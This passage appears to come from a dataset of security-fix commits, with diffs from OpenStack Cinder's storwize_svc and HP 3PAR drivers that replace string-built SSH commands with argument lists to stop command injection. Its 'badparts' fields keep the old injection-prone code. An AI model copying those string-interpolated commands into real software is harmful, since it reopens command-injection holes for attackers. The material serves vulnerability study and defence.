fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n", "add": 4, "remove": 6, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" copyflag = '' if full_copy else '-copyrate 0'", " fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '", " '-autodelete %(copyflag)s' %", " {'src': source,", " 'tgt': target,", " 'copyflag': copyflag})"], "goodparts": [" fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',", " target, '-autodelete']", " if not full_copy:", " fc_map_cli_cmd.extend(['-copyrate', '0'])"]}, {"diff": "\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])"]}, {"diff": "\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])"]}, {"diff": "\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\", " fc_map_id"], "goodparts": [" fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',", " 'id=%s' % fc_map_id, '-delim', '!']"]}, {"diff": "\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chfcmap -copyrate 50 '", " '-autodelete on %s' % map_id)"], "goodparts": [" ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',", " '-autodelete', 'on', map_id]"]}, {"diff": "\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n", "add": 6, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)"], "goodparts": [" self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force',", " map_id])", " self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])"]}, {"diff": "\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 3, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" forceflag = '-force' if force else ''", " cmd_params = {'frc': forceflag, 'name': name}", " ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdisk', '-force', name]", " if not force:", " ssh_cmd.remove('-force')"]}, {"diff": "\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'", " % {'amt': extend_amt, 'name': volume['name']})"], "goodparts": [" ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),", " '-unit', 'gb', volume['name']])"]}, {"diff": "\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lssystem -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']"]}, {"diff": "\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]"]}, {"diff": "\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = '%s -delim !' % cmd"], "goodparts": [" ssh_cmd = cmd + ['-delim', '!']"]}, {"diff": "\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ' command %s') % ssh_cmd)"], "goodparts": [" ' command %s') % str(ssh_cmd))"]}, {"diff": "\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" % {'cmd': ssh_cmd,"], "goodparts": [" % {'cmd': str(ssh_cmd),"]}]}}, "msg": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3"}, "c55589b131828f3a595903f6796cb2d0babb772f": {"url": "https://api.github.com/repos/thatsdone/cinder/commits/c55589b131828f3a595903f6796cb2d0babb772f", "html_url": "https://github.com/thatsdone/cinder/commit/c55589b131828f3a595903f6796cb2d0babb772f", "sha": "c55589b131828f3a595903f6796cb2d0babb772f", "keyword": "command injection attack", "diff": "diff --git a/cinder/tests/test_hp3par.py b/cinder/tests/test_hp3par.py\nindex a226beeb9..6778a326b 100644\n--- a/cinder/tests/test_hp3par.py\n+++ b/cinder/tests/test_hp3par.py\n@@ -725,11 +725,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n@@ -750,16 +751,17 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -779,14 +781,14 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -918,12 +920,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n@@ -944,16 +946,16 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n@@ -973,11 +975,11 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n@@ -993,14 +995,14 @@ def test_get_ports(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n@@ -1017,14 +1019,14 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n@@ -1038,7 +1040,7 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n@@ -1054,21 +1056,21 @@ def test_get_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n@@ -1089,14 +1091,14 @@ def test_invalid_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n@@ -1118,7 +1120,7 @@ def test_get_least_used_nsp(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_common.py b/cinder/volume/drivers/san/hp/hp_3par_common.py\nindex 216b8da31..36f693421 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_common.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_common.py\n@@ -188,7 +188,7 @@ def _set_connections(self):\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n@@ -213,8 +213,7 @@ def extend_volume(self, volume, new_size):\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n@@ -272,17 +271,8 @@ def _capacity_from_size(self, vol_size):\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" %s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n@@ -334,7 +324,10 @@ def _ssh_execute(self, ssh, cmd, check_exit_code=True):\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n@@ -367,10 +360,10 @@ def _run_ssh(self, command, check_exit=True, attempts=1):\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n@@ -392,7 +385,7 @@ def _safe_hostname(self, hostname):\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = \\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n@@ -479,7 +472,7 @@ def _get_3par_host(self, hostname):\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n@@ -496,7 +489,7 @@ def get_ports(self):\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n@@ -510,7 +503,7 @@ def get_ports(self):\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n@@ -631,31 +624,27 @@ def _set_qos_rule(self, qos, vvs_name):\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n@@ -815,16 +804,16 @@ def create_volume(self, volume):\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n@@ -871,9 +860,9 @@ def _get_vvset_from_3par(self, volume_name):\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n@@ -1037,7 +1026,7 @@ def delete_snapshot(self, snapshot):\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list):\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_fc.py b/cinder/volume/drivers/san/hp/hp_3par_fc.py\nindex f9c46071b..f852f5a3c 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_fc.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_fc.py\n@@ -196,25 +196,31 @@ def terminate_connection(self, volume, connector, **kwargs):\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py 